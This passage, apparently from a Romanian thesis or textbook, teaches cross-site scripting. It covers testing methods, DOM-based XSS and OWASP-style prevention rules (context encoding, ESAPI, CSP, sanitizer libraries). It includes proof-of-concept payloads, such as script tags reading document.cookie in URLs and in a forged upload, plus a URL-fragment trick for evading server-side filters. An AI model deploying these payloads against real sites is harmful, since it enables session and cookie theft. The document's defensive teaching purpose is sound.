exemplu, fișiere inofensive ca JPG ș i GIF pot conține un payload XSS care este executat când
sunt încărcate de browser. Acest lucru este posibil atunci când tipul MIME pentru o imagine,
cum ar fi image/gif, poate fi setat la text/html. În acest caz, browser -ul client va trata fisierul
ca fiind HTML.
42
Cerere forjata HTTP POST:
Content-Disposition: form -data; name="uploadfile1"; filename="C: \Documents and
Settings \test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
De asemenea, a se lua in considera re că Internet Explorer nu trateaza tipurile MIME în
același mod ca Mozilla Firefox sau alte browsere. De exemplu, Internet Explorer gestionează
fișierele TXT cu conținut HTML ca un conținut HTML.
2.2.2.2 Testare Gray -Box
Testarea Gray -Box este identica cu testarea Black -Box. In cazul acestei metode de testare,
pen-testerul are cunoștințe parțiale despre aplicație. În acest caz, informațiile despre input -ul
utilizatorului, controalele de validare a input -ului și stocarea datelor pot fi cunoscute de pen –
tester.
În funcție de informațiile disponibile, este recomandat, în mod normal, ca tester ii să verifice
modul în care datele introduse de utilizator sunt procesate de aplicație și apoi s tocate în
sistemul back -end. Se recomandă următorii pași:
Utiliza rea aplicați ei front -end și introduce re intrări cu caractere speciale/ invalide ;
Analiza raspunsului/raspunsurilor aplicatiei ;
Identifica rea prezen tei contr oalelor de validare a input -ului;
Accesa re sistem back -end și verifica re dacă input -ul este stocat și modul în care este
stocat ;
Analizarea codului sursa si intelegerea modului in care input -ul stocat este procesat de
aplica ție;
2.2.2.3 Testare White -Box
Dacă este disponibil codul sursă, a r trebui analizate toate variabilele utilizate în formularele
de intrare. În special, limb ajele de programare, cum ar fi PHP, ASP și JSP, utilizează
variabile/funcții predefinite pentru stocarea intrărilor din cererile HTTP GET și HTTP POST.
43
Următorul tab el rezumă câteva variabile și funcții speciale de verificat la analizarea codului
sursă:
PHP ASP JSP
$_GET – HTTP GET variables
$_POST – HTTP POST
variables
$_REQUEST – http POST, GET
and COOKIE variables
$_FILES – HTTP File Upload
variables Request.QueryString – HTTP
GET
Request.Form – HTTP POST
Server.CreateObject – used
to upload files doGet, doPost servlets –
HTTP GET and POST
request.getParameter –
HTTP GET/POST variables
2.2.3 DOM Based XSS (AKA Type -0)
DOM Based XSS (sau așa cum se numește în unele texte, "type -0 XSS") este un atac XSS în
care sarcina utilă de atac este executată ca urmare a modificării mediului "DOM" în browser –
ul victimei utilizat de scriptul client -side original , astfel încât codul client-side să ruleze într -o
manieră "neașteptată". Adică pagina în sine (răspunsul HTTP) nu se schimbă, dar codul
client -side conținut în pagină se execută diferit, din cauza modificărilor dăunătoare care au
apărut în mediul DOM.
XSS bazat pe DOM înseamnă p ur și simplu o vulnerabilitate XSS care apare în DOM
(Document Object Model) , în loc sa apara ca parte din HTML. În atacurile XSS Reflectate si
Stocate se poate observa payload -ul vulnerabil în pagina de răspuns, dar în atacul bazat pe
DOM codul sursă HTML și răspunsul atacului vor fi exact aceleași. Payload -ul nu poate fi
gasit in raspuns. Se poate observa numai în timpul rulării sau prin investigarea DOM -ului
paginii .
Diverse cercetări și studii au identificat faptul că până la 50% din site -urile web sunt
vulnerabile la vulnerabilitatea XSS bazat ă pe DOM. Cercetătorii în domeniul securității au
identificat deja problemele DOM bazate pe XSS în companii de internet de mare profil, cum
ar fi Google, Yahoo și Alexa.
Așa cum este definit de Amit Klein, care a p ublicat primul art icol despre această problemă ,
DOM Based XSS este o formă de XSS unde întregul flux de date de la sursă la scurgere are
loc în browser, adică sursa datelor este in DOM, scurgerea este, de asemenea, în DOM, iar
fluxul de date nu părăsește b rowserul. De exemplu, sursa (unde se citesc datele rău
44
intenționate) ar putea fi adresa URL a paginii (de ex. document.location.href ), sau ar putea
fi un element HTML, iar scurgerea este o metoda de apel sensibila care determină executarea
datelor dăunătoare (de exemplu, document.write )."
Acest lucru este în contrast cu alte atacuri XSS (stocate sau reflectate), în care sarcina utilă de
atac este plasată în pagina de răspuns (din cauza unui defect server -side).
Note de cercetare a lui David Wichers (OWASP) caută să reclasifice DOM XSS cu o mai
mare exactitate , și anume CLIENT SIDE XSS.
De ani de zile, majoritatea oamenilor s -au gândit la acestea (Stored, Reflected, DOM) ca trei
tipuri diferite de XSS, dar, în realitate, se suprapun. Poate exista XSS bazat pe DOM reflectat
și stocat, cum de asemenea poate exista XSS non -DOM reflectat și stocat.
Pentru a ajuta la clarificarea lucrurilor, începând cu mijlocul anului 2012, comunitatea de
cercetare a propus și a început să utilizeze doi termeni noi pentru a ajuta la organizarea
tipurilor de XSS care pot apărea:
Server XSS
Client XSS
Server XSS
Server XSS apare atunci când datele nesigure furnizate de utilizatori sunt incluse într -un
răspuns HTML generat de server. Sursa acestor date ar putea fi din solicitare efectuata sau
dintr -o locație stocată. Ca atare, exista atât Server Reflected XSS, cât și Stored Server XSS.
În acest caz, întreaga vulnerabilitate este în codul de pe server (server -side) , iar browserul
redă pur și simplu răspunsul și execută orice script valid încorporat în el.
Client XSS
Client XSS apare atunci când datele nesigure furnizate de utilizatori sunt folosite pentru a
actualiza DOM -ul cu o apelare nesigura JavaScript. O apelare JavaScript este considerat ă
nesigur ă dacă poate fi folosit â pentru a introduce cod valid JavaScript în DOM. Sursa acestor
date ar putea fi din DOM sau ar putea fi trimisă de server (printr -o apelare AJAX sau o
încărcare de pagină). Sursa finala a datelor ar fi putut proveni dintr -o solicitare sau dintr -o
locație stocată pe client sau pe server. Ca atare, exista atât Client Reflected XSS, cât și Stored
Client XSS.
45
Având în vedere faptul că atât Server XSS, cât și Client XSS pot fi Stocate sau Reflectate,
această noua terminologie are ca rezultat o matrice simplă, curată, 2 x 2 cu Client și Server
XSS pe o axă și XSS Stocat și Reflectat pe cealaltă axă .
Cu aceste noi definiții, definiția DOM -based XSS nu se modifică. DOM -based XSS este pur
și sim plu un subset al Client XSS, unde mai degraba sursa date lor este undeva în DOM , decât
de la server.
Exemplu 1
Pagina http://www.example.com/test.html conține urmatorul cod:
<script>
document.write("<b>Current URL</b> : " + document.baseURI);
</script>
Se trimite urmatoarea cerere HTTP:
http://www.example.com/test.html#<script>alert(1)</script>
Codul JavaScript va fi executat, deoarece pagina scrie folosind f uncția document.write orice
este introdus în URL -ul paginii. In sursa paginii nu exista <script>a lert(1)</script>
deoarece totul se întâmplă în DOM și realizat prin executarea codul ui JavaScript .
După ce codul malitios este executat in pagină, se poate face exploit pe vulnerabilitate a DOM
based XSS pentru a fura cookie -urile utilizatorului sau pentru a schimba comportamentul
paginii .
46
Exemplu 2
Următorul cod este utilizat pentru a crea un formular pentru a permite utilizatorului să aleagă
limba preferată.
…
Select your language:
<select><script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("default
=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
…
Pagina este invocată cu o adresă URL, cum ar fi:
http://www.example.com/page.html?default=French
Un atac XSS bazat pe DOM împotriva acestei pagini poate fi realizat prin trimiterea
următoarei adrese URL unei victime:
http://www. example.com/page.html?default=<script>alert(document.cookie)</script>
Când vi ctima dă clic pe acest link, browserul trimite o solicitare catre example.com. Serverul
răspunde cu pagina care conține codul Javascript de mai sus. Browserul creează un obiect
DOM pentru pagina, în care obiectul document.location conține șirul:
http://www .example.com/page.html?default=<script>alert(document.cookie)</script>
Codul inițial Javascript din pagină nu așteaptă ca parametrul implicit să conțină marcaj
HTML și, ca atare, acesta pur și simplu o reda în pagină (DOM) în timpul rulării. Browserul
redă apoi pagina rezultată ș i execută scriptul atacatorului.
Răspunsul HTTP trimis de server nu conține încărcătura utilă a atacatorului. Această sarcină
utilă se manifestă la scriptul clientului în timpul execuției, când un script defect accesează
variabila D OM document.location și presupune că nu este rău intenționat.
47
Filtrele de pe server nu au importanță
În exemplul de mai sus, în timp ce sarcina utilă nu a fost încorporată de server în răspunsul
HTTP, a sosit la server ca parte a unei cereri HTTP și, pr in urmare, atacul ar putea fi detectat
pe partea de server.
Tehnica pentru a evita trimiterea încărcăturii utile pe server se leagă de faptul că fragmentele
URI (partea din URI după "#") nu sunt trimise serverului de către browser. Astfel, orice cod
de client care face referire , de exemplu, document.location , poate fi vulnerabil la un atac
care utilizează fragmente, iar în acest caz, sarcina utilă nu este niciodată trimisă pe server. De
exemplu, XSS bazat pe DOM de mai sus poate fi m odificat în:
http://www. example.com/page.html#default=<script>alert(document.cookie)</script>
Se va executa aceea și secven ță de atac , însa f ără a fi depistat ă de server, care va vedea pur și
simplu o solicitare pentru page.html fără parametri URL .
Una dint re cele mai mari diferențe dintre DOM Based XSS și vulnerabilitățile XSS Reflectate
sau Stocate este că DOM Based XSS nu poate fi oprită de filtrele de pe server.
Din punct de vedere istoric, fragmentul identificat aka hash introdus pur și simplu pentru a
parcurge pagina HTML c ătre un anumit element , cu toate acestea mai târziu a fost adoptat de
către dezvoltatorii JavaScript pentru a fi utilizat în paginile AJAX pentru a ține eviden ța
paginil or și la diverse alte lucruri, numit mai ales ca hash-bang "#!“.
Datorită acestui design orice este scris după "#" (hash) nu va fi trimis vreodată către server.
Aceasta inseamnă că toată protecția de pe server asupra secvenței de cod nu va funcționa
pentru vulnerabilitătile XSS bazate pe DOM. De altfel, orice alt tip de protecție web, cum ar
fi firewall -urile aplicațiilor web, sau protecțiile de framework generice precum ASP.NET
Request Validation nu protejează împotrivă atacurilor XSS bazate pe DOM.
Intrare și ieșire așa -numitele sursa si scurgere (source si sink)
Logica din spatele DOM based XSS este că inputul de la utilizator (sursa) merge la un punct
de execuție ( scurgere ). În exemplul anterior, sursa este document.baseURI , iar scurgerea este
document.write . Ceea ce trebuie reținut este că DOM based XSS apare at unci când o sursă
(input) care poate fi controlată de utilizator este utilizată într -o scurgere (output) periculoasă.
Așadar, când se intamplă acest lucru, trebuie să se efectueze modificările de cod necesare
pentru a evit a expunerea la vulnerabilitatea DOM based XSS sau să se ad auge codificarea în
consecin ță.
48
Document Object Model (DOM)
DOM este o interfaț ă de programare a aplicației (API) , multiplatformă și
independent ă de limbaj, care tratează un document HTML, XHTML sau XML ca o structură
arborescenta unde fiecare nod este un obiect reprezentând o parte a documentului. Obiectele
pot fi manipulate programat, iar eventualele modificări vizibile care apar ca și rezultat, pot fi
reflectate în afișarea documentului.
Pentru a r eda un document, cum ar fi o pagină HTML, majoritatea browserelor web utilizează
un model intern similar cu DOM. Nodurile fiecărui document sunt organizate într -o structură
arborescentă, numită arbore DOM, cu cel mai important nod numit "Document object".
Atunci când o pagină HTML este redată în browsere, browserul descarcă HTML în memoria
locală și parseaz ă automat conținutul HTML pentru a afișa pagina pe ecran. DOM reprezint ă
și modul în care JavaScript transmite starea browserului în pagini le HTML.
Fig. 2.10 Exemplu de ierarhie DOM într -un document HTML
49
Capitolul III: METODE DE PREVENIRE XSS
Un atac XSS este un atac ce injectează cod în pagină: datele introduse de utilizator sunt
interpretate în mod greșit ca și un script malițios. Pentru a preveni a cest tip de injectare de
cod, este nevoie de o procesare securizată a datelor introduse de utilizator:
Codificarea (Encoding), ce modifică datele introduse de utilizator, astfel încât browser -ul
le interpretează ca și date normale, nu ca și cod Javascrip t;
Validarea (Validation), ce filtrează datele introduse de utilizator, astfel încât browser -ul le
interpretează ca și cod purificat de comenzi malițioase;
În timp ce acestea sunt în mod fundamental două metode diferite de prevenire a acestor tipuri
de atac uri web, ele prezintă o serie de caracteristici comune, care sunt importante pentru a
înțelege când se poate utiliza una din metodele de mai sus:
Context: procesarea securizată a datelor introduse de utilizator trebuie să fie efectuată în
mod diferit depi nzând de locul în pagină, un de vor fi introduse aceste date;
Intrare/Ieșire (Inbound/Outbound): procesarea securizată a datelor introduse de utilizator
trebuie să fie efectuată atunci când aplicația dumneavoastră primește date de intrare, sau
înainte ca a plicați a să introducă datele în pagina;
Client/Server: Procesarea securizată a datelor introduse de utilizator poate fi efectuată fie
pe partea de client, fie pe parte de server, ambele fiind ne cesare în circumstanțe diferite;
În timp ce există un număr f oarte mare de vectori de atac XSS, urmand câteva reguli simple
se poate asigura protejarea complet a împotriva acestui atac grav. Nu se va explora impactul
tehnic sau de afaceri al XSS. Este suficient de re ținut ca un atacator poate câștigă capacitatea
de a face orice poate face si victima prin intermediul browserului.
Se va trata o pagină HTML ca un șablon, cu sloturi unde un dezvoltator are permisiunea de a
pune date nesigure. Aceste sloturi acoperă marea majoritate a locurilor comu ne în care un
dezvoltator ar putea dori să pună date nesigure. Nu este permisa plasarea datelor nesigure in
alte locuri in HTML. Acesta este un model "whitelist ", care neagă tot ceea ce nu este permis
în mod specific.
Dat fiind modul in care browser -ele pa rseaza HTML, fiecare dintre diferitele tipuri de sloturi
are reguli de securitate puțin diferite. Atunci când se pun date nesigure în aceste sloturi,
50
trebuie să se ia anumite măsuri pentru a se asigura că datele nu ies din acel slot într -un
context care pe rmite execuția de cod. Într-un fel, această abordare tratează un document
HTML ca o interogare parametrizată a bazei de date – datele sunt păstrate în anumite locații și
sunt izolate de contextele de cod cu escaping. În această secțiune de prevenir e se sta bilesc
cele mai frecvent e tipuri de sloturi și regulile pentru punerea în siguranță a datelor nesigure în
ele. Sloturile sunt definite și sunt furnizate câteva exemple pentru fiecare.
Codificarea entității HTML este în regulă pentru datele nesigure care sunt plasate în corpul
documentului HTML, cum ar fi într -o etichetă <div> . De asemenea, func ționeaz ă pentru
datele nesigure care merg în atribute, mai ales dacă se utiliz ează ghilimelele în jurul
atributelor. Dar cod ificarea entității HTML nu funcționează dacă sunt introduse date nesigure
oriunde în interiorul unui tag <script> , sau un atribut event handler precum <onmouseover> ,
sau în interiorul unui CSS, sau într-un URL.
Trebuie utilizată sintaxa de codare a caracterelor pentru partea din documentul HTML în care
se pun date nesigure. Asta tratează regulile de mai jos.
3.1 REGULA #0 – A nu se introduce niciodată date ne sigure , cu excepția
locațiilor permise
Prima regul ă este de a interzice tot – nu se pun date nesigure în documentul HTML cu
exceptia cazului în care se află într -unul din sloturile definite în Regula # 1 – Regula # 5.
Sensul Regul ei # 0 este că există atât de multe contexte ciudate în cadrul HTML, încât lista
de reguli de codare devine foarte complicată. Nu exist ă un motiv b un pentru a pune date
nesigure în aceste contexte . Asta include "contexte imbricate", cum ar fi un URL din
interiorul unui javascript – regulile de cod ificare pentru acele locații sunt dificile și
periculoase.
<script>…NEVER PUT UNTRUSTED DATA HERE…</s cript> direct într -un script
<!–…NEVER PUT UNTRUSTED DATA HERE… –> în comentariu HTML
<div …NEVER PUT UNTRUSTED DATA HERE…=test /> într-un nume de atribut
<NEVER PUT UNTRUSTED DATA HERE… href="/test" /> într-un nume de tag
<style>…NEVER PUT UNTRUSTED DATA HERE…</style> direct in CSS
Cel mai important este să nu se accept e spre rulare niciodată cod JavaScript dintr -o sursă
nesigur ă.
51
3.2 REGULA #1 – Codare HTML înainte de a insera date ne sigure în
conținutul de elemente HTML
Regula # 1 este pentru atunci când se doreste să se pună date nesigure direct în corpul HTML.
Asta include tag -uri normale precum div, p, b, td, etc. Majoritatea framework -urilor web au o
metod ă pentru codarea HTML a caracterelor detaliate mai jos. Cu toate acestea, acest lucru
nu este absolut suficient pentru alte contexte HTML . Trebuie implementa te și celelalte reguli
detaliate aici.
<body>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</body>
<div>…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…</div>
Orice alte elemente HTML normale
Codarea urmatoarelor caractere cu ajutorul entitatii HTML de codificare pentru a împiedica
trecerea la orice context de execuție , cum ar fi scriptul, st ilul sau handlere de evenimente.
Utilizarea entităților h exazecimale este recomandată în specificați e. În plus față de ce le 5
caractere semnificative în XML (&, <,>, ",’) , slash -ul este inclus deoarece ajută la
terminarea unei entități HTML.
& –> &
< –> <
> –> >
" –> "
' –> ' ' nu este recomandat deoarece nu este în spec. HTML
' este în specificațiile XML și XHTML.
/ –> / slash-ul este inclus, deoarece ajută la terminarea unei entități HTML
ESAPI trateaz ă codarea și decodarea entit ății HTML, dupa cum urmeaz ă:
String safe = ESAPI.encoder().encodeForHTML( request.getParameter( "input" ) );
ESAPI (The OWASP Enterprise Security API) este o librărie gratuită, de control a securitatii aplicatiilor web, open source, care permite
programatorilor să scrie aplicații cu risc scăzut.
HTTPOnly flag
OWASP recomandă setarea flag-ului HTTPOnly în cookie -ul de sesiune și in toate cookie –
urile personalizate care nu sunt accesate de niciun Javascript . Acest flag de cookie este, de
obicei, activat în mod implicit în aplicațiile .NET, dar în a lte limb aje trebuie seta t manual.
52
3.3 REGULA #2 – Codarea atributului înainte de a introduce date nesigure
în atributele comune HTML
Aceast ă regul ă este pentru a pune date nesigure in valori tipice ale atributului, cum ar fi
lățimea, numele, valoarea, etc. Acest lucru nu ar trebui să fie folosit pentru atribute complexe
cum ar fi <href, src, style> sau oricare dintre handler -ele de evenimente cum ar fi
<onmouseover> . Este extrem de important ca atributele de manipulare a evenimen telor să
respecte Regula # 3 pentru v alorile HTML ale datelor JavaScript.
În interiorul atributului fara ghilimele:
<div attr=…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…>content</div>
În interiorul atributului cu apostrof :
<div attr='…ESCAPE UNTRUST ED DATA BEFORE PUTTING HERE…'>content</div>
În interiorul atributului cu ghilimele duble:
<div attr="…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…">content</div>
Cu excepția caracterelor alfanumerice, se recomand ă codarea tuturor caracterel or cu valori
ASCII mai mici de 256 cu <&#xHH> . Motivul pentru care această regulă este atât de vastă este
că dezvoltatorii lasă în mod frecvent atribute fără ghilimele .
Atributele puse corespunzător între ghilimele pot fi codate doar utilizând ghilimelele
potrivite . Atributele fără ghilimele pot deveni vulnerabile prin utilizarea mai multor caractere,
inclusiv [space] % * + , – / ; < = > ^ si | .
ESAPI tratează codarea și decodarea entității HTML, după cum urmează:
String safe = ESAPI.encoder().encodeForHTM LAttribute( request.getParameter(
"input" ) );
Implementare CSP (Content Security Policy)
Există o altă soluție complexă bună pentru a diminua impactul un ei vulnerabilități XSS,
denumit ă “Politică de securitate a conținutului ”.
Acest concept define ște o limbă de politică utilizată pentru a declara un set de restricții de
conținut pentru o resursă web și un mecanism pentru transmiterea politicii de la server la
client, locul unde politica este aplicată.
53
Este un mecanism al browserului care permite crearea unor lista albe a surselor pentru
resursele client ului din aplicați a web, de ex. JavaScript, CSS, imagini , etc. CSP, prin
intermediul unui antet HTTP special, instruiește browserul să execute sau să proceseze
resurse le numai din acele surse. De exemplu, ac est CSP :
Content-Security -Policy: default -src: 'self'; script -src: 'self' static.domain.tld
Va instrui browser -ul web să încarce toate resursele doar din origin ea paginii și din fișierele
codului sursă JavaScript , suplimentar de la static.domain.tld.
3.4 Regula #3 – Codare JavaScript înainte de a introduce date nesigure în
valorile datelor JavaScript
Regula # 3 face referire la codul JavaScript generat dinamic – atât pentru blocurile de script,
cât și pentru atributel e de manipulare a evenimentului (event -handler). Singurul loc de
încredere pentru a pune date nesigure în cod este utilizand o expresie încadradat ă de
ghilimele (ex. "data value "). Includerea de date nesigure în orice alt context JavaScript este
destul de periculoasă , deoarece este extrem de ușor să se treaca într-un context de execuție cu
caractere care includ (dar nu se limitează la) punct și virgulă, egal , spațiu, plus, etc.
În interiorul unui șir încadrat de ghilimele:
<script>alert('…ESCAPE UNTRUSTED DATA BEFORE P UTTING HERE…')</script>
O parte a unei expresii încadrat ă de ghilimele:
<script>x='…ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…'</script>
În interiorul unui event -handler încadrat de ghilimele:
<div onmouseover="x='…ESCAPE UNTRUSTED D ATA BEFORE PUTTING HERE…'"</div>
Există câteva funcții JavaScript care nu pot utiliza niciodată în siguranță datele nesigure ca
intrări – CHIAR DACĂ JAVASCRIPT ESTE CODAT !
Spre exemplu:
<script>
window.setInterval('…EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE…');
</script>
Cu excepția caracterelor alfanumerice, se recomand ă codarea tuturor caracterelor mai mici de
256 cu formatul \xHH pentru a împiedica trecerea valoar ii datelor în contextul scriptului sau
54
într-un alt atribut. A NU se folosi comenzi rapide de codare, cum ar fi \" deoarece caracterul
cu ghilimele poate fi asociat cu parser -ul atributului HTML care ruleaza primul.
Comenzile rapide de codarea a caracterelor sunt susceptibile la atacurile "escape -the-escape"
unde a tacatorul trimite secvența \" și codul vulnerabil transform ă acest lucru în \\", care
activeaz ă ghilimelele și secvența asociată codului.
Dacă un handler -ul de evenimente are corect dispuse ghilimelele , scăparea de sub control
necesit ă ghilimelele corespun zătoare. Cu toate acestea, atributele handler -ului de evenimente
sunt adesea lăsate fara ghilimele. Ca și la Regula # 2, atributele f ără ghilimele pot deveni
vulnerabile prin utilizarea mai multor caractere, inclusiv [space] % * + , – / ; < = > ^ si
|.
De asemenea, o etichetă de închidere </script> va închide un bloc de script chiar dacă se
află într -un șir incadrat de ghilimele, deoarece parserul HTML rulează înainte de parserul
JavaScript.
ESAPI trateaza codarea și decodarea JavaScript , dup ă cum urmeaz ă:
String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" )
);
3.4.1 RULE #3.1 – HTML codeaza valorile JSON intr -un context HTML si citeste datele
cu JSON.parse
Într-o lume Web 2.0, nevoia de a avea date generate în mod dinamic de o aplicație într -un
context javascript este des intalnita. O strategie este de a face un apel AJAX pentru a obține
valorile, dar acest lucru nu este întotdeauna performant. Una din s trategi i este de a face un
apel AJAX sa obțin a valorile, dar acest lucru nu este întotdeauna performant. Adesea, un bloc
inițial de JSON este încărcat în pagină pentru a acționa ca un singur loc de stoca t multiple
valori. Aceste date sunt delicate , deși nu imposibil, pentru a fi codate corect fără a strica
formatul și conținutul valorilor.
Este absolut necesar ca header -ul content -type returnat sa fie application/json si nu text/html.
Acest lucru va instrui browserul să nu interpreteze greșit contextul și să execute scriptul
injectat .
55
Răspuns HTTP dăunător :
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft -IIS/7.5….
Content-Type: text/html; charset=utf -8 <– bad
….
Content-Length: 373
Keep-Alive: timeout=5, max=100
Connection: Keep -Alive
{"Message":"No HTTP resource was found tha t matches the request URI
'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine
=The+Gardens <script>alert(1)</script> &AddressLine2=foxlodge+woods&TownName=Meath'.
","MessageDetail":"No type was found that matches the controller named 'pay'."}
<– this script will pop!!
Răspuns HTTP bun :
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft -IIS/7.5….
Content-Type: application/json; charset=utf -8 <–good
…..
Model vulnerabil de codare a caracterelor:
<script>
var initData = <%= data.to_j son %>; // A NU SE FACE acest lucru fără a codifica
datele cu una dintre tehnicile enumerate mai jos.
</script>
Codarea entității JSON
Regulile pentru codarea JSON pot fi g ăsite în tabelul sec țiunii “ Rezumatul regulilor de
codare a ieșirilor ”. Acest lucru nu va permite utilizarea protec ției XSS ofer ită de CSP 1.0.
56
Codarea entității HTML
Această tehnică are avantajul că este susținută la scară largă și ajută la separarea datelor de
codul server -side fără a depăși limite le contextului. Blocul JSON trebuie poziționat în pagină
că element normal și apoi să se parseze HTMLul din interior pentru a obține conținutul.
Javascriptul care citește intervalul poate exista într-un fișier extern, astfel f ăcând mai u șoară
punerea în aplicare a executării CSP .
<div id="in it_data" style="display: none">
<%= html_escape(data.to_json) %>
</div>
// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);
O alternativă la codarea si decodarea directa JSON în JavaScript este de a normaliza serverul
JSON prin conversia '<' în ' \u003c' înainte de trimite re catre browser.
3.5 Regula #4 – Codare CSS și validare strictă înainte de a introduce date
nesigure in v alorile de propr ietate ale stilului HTML
Această regulă este utilizată atunci când se pun date nesigure într -o foaie de stil sau o etichetă
de stil. CSS este surprinzător de puternic și poate fi folosit pentru numeroase atacuri. Prin
urmare, este important a se u tiliza da te nesigure numai într -o valoare a proprietății (property
value) și nu în alte locuri în date stilului HTML. Trebuie ocolit ă ideea de a pune date nesigure
în proprietăți complexe cum ar fi URL, behavior și proprietatea CSS ( -moz-binding ).
Proprietatea CSS –moz-binding este utilizată de aplicațiile bazate pe Mozilla pentru a atașa o
legatura XBL la un element DOM. XML Binding Language (XBL, uneori denumit
Extensible Bindings Language) este un limbaj pentru descrierea legăturilor care pot fi atașate
elemente lor din alte documente. Elementul pe care legătura este atașat, numit elementul legat,
dobândește noul comportament specificat de legare. Elementul de care este ata șată legătura,
numit element de leg ătura, dobândește un nou comportament specificat de legat ură.
De asemenea, nu trebuie introduse date nesigure în valoarea proprietății expresiei IE care
permite JavaScript.
57
<style>selector { property : …ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…; }
</style> property value
<style>selector { property : ".. .ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE…"; }
</style> property value
<span style="property : …ESCAPE UNTRUSTED DATA BEFORE PUTTING
HERE…">text</span> property value
A se reține că există câteva contexte CSS care nu pot utiliza niciodată în siguranță date
nesigure ca intrări – CHIAR DACA ESTE CORECT CODAT CSS !
Trebuie să se țină cont că adresele URL încep doar cu "http" și nu "javascript", și că
proprietățile nu încep niciodată cu "expression".
Spre exemplu:
{ background -url : "javascript :alert(1)"; } // and all other URLs
{ text-size: "expression(alert('XSS'))"; } // only in IE
Cu excepția caracterelor alfanumerice, se codeaz ă toate caracterele cu valori ASCII mai mici
de 256 , având formatul de codare \HH. A nu se utiliza shortcut -uri de codare precum \"
deoarece ghilimelele pot fi asociat e cu parserul atributului HTML care rulează primul . Aceste
shortcut -uri de codare sunt susceptibile la atacurile "escape -the-escape" unde atacatorul
trimite \" și codul vulnerabil transform ă expresia in \\", și se activeaz ă ghilimelele.
Toate atributele ar trebui să fie incadrate de ghilimele , dar codarea caracterelor ar trebui să fie
suficient de puternică pentru a împiedica XSS atunci când datele nesigure sunt plasate în
contexte care nu se afl ă intre ghilimele. Ca și la Regula # 2, atributele f ără ghilimele pot
deveni vulnerabile prin utilizarea mai multor caractere, inclusiv [space] % * + , – / ; < = > ^ și
|. De asemenea, eticheta </style> va închide blocul de stil chia r dacă se află într e ghilimele ,
deoarece parserul HTML rulează înainte de parserul JavaScript.
Se recomandă codare și validare agresivă a css pentru a preveni atacurile xss, atât pentru
atributele încadrate de ghilimele, cât și pentru cele fără ghilimele.
ESAPI trateaz ă codarea și decodarea CSS, dup ă cum urmeaz ă:
String safe = ESAPI.encoder().encodeForCSS( request.getParameter( "input" ) );
58
3.6 Regula #5 – Codare URL înainte de a introducere date nesigure in
valorile parametrului HTML URL
Regulă #5 este uti lizată atunci când se întroduc date nesigure în valoarea parametrului HTTP
GET .
<a href="http://www.somesite.com?test=…ESCAPE UNTRUSTED DATA BEFORE PUTTING
HERE…">link</a >
Cu excepția caracterelor alfanumerice, se codeaz ă toate caracterele cu valori ASCII mai mici
de 256, utilizând formatul de codare %HH. Includerea datelor nesigure în date: adresele URL
nu ar trebui să fie permise, deoarece nu există nicio modalitate bună de a dezactiva atacurile
utiliz ând codarea caracterelor pentru a împiedica schimbarea adresei URL. Toate atributele
trebuie s ă fie puse intre ghilimele. A tributele f ără ghilimele pot deveni vulnerabile prin
utilizarea mai multor caractere, inclusiv [space] % * + , – / ; < = > ^ și |. Codificarea entității
este inutilă în acest context.
ESAPI trateaz ă codarea și decodarea URL , dupa cum urmeaz ă:
String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );
AVERTIZARE: A nu se coda complet sau parțial complet URL -urile utilizând codarea URL.
Dacă input -ul nesigur e ste destinat să fie introdus în HREF, SRC sau alte atribute bazate pe
URL, ar trebuie să fie validat pentru a avea garanția că nu pointează către un protocol
neașteptat, în special link -urile JavaScript. Adresele URL ar trebui să fie codate pe bază
context ului de afișare c a orice altă componentă de date.
De exemplu, adresele URL direcționate de utilizator în legăturile HREF ar trebui să fie
codate pe atribut:
String userURL = request.getParameter( "userURL" )
boolean isValidURL = ESAPI.validator().isValidI nput("URLContext", userURL, "URL",
255, false);
if (isValidURL) {
<a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}
59
3.7 Regula #6 – Sanitizarea marcajului HTML utilizând o librărie special
proiectată
Marcajul HTML este format din ma i multe componente cheie, inclusiv cele numite etichete
(și atributele acestora), tipuri de date bazate pe caractere, referințe de caractere și de entități.
Dacă aplicația se ocupă de marcaj HTML – input nesigur care se presupune că conține cod
HTML – poate fi foarte greu de validat. Codificarea este, de asemenea, dificilă, deoarece ar
distruge toate etichetele care ar trebui să fie introduse.
Prin urmare, este nevo ie de o bibliotecă care poate parsa și cur ăța textul formatat HTML.
Există mai multe aplicați i disponibile la OWASP care sunt ușor de utilizat:
HtmlSanitizer
Fig. 3.1 Exemplu HtmlSanitizer
Este o bibliotecă .NET open -source iar HTML este sanitizat utilizând o lista albă. Toate
etichetele și atributele permise pot fi configurate.
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);
60
OWASP Java HTML Sanitizer
Fig. 3.2 Exemplu OWASP Java HTML Sanitizer
import org.owasp.html.Sanitizers;
import org.owasp.html.PolicyFactory;
PolicyFac tory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");
3.8 Regula #7 – Preven ire DOM -based XSS
Ori de câte ori este posibil, aplicațiile ar trebui să evite utilizarea scripturilor din partea
clientului pentru a procesa date DOM și a le introduce în pagină. Deoarece datele prelucrate
sunt în afară controlului direct al serverului și, în anumite cazuri, chiar și în afară vizibilitătii
sale, acest comportament este în mod inerent risc ant. Dacă se consideră că este inevitabilă
utilizarea unor astfel de scripturi din partea clientului, vulnerabilitățile XSS bazate pe DOM
poate fi împiedicate prin două tipuri de apărare, corespunzătoare validării datelor de intrare și
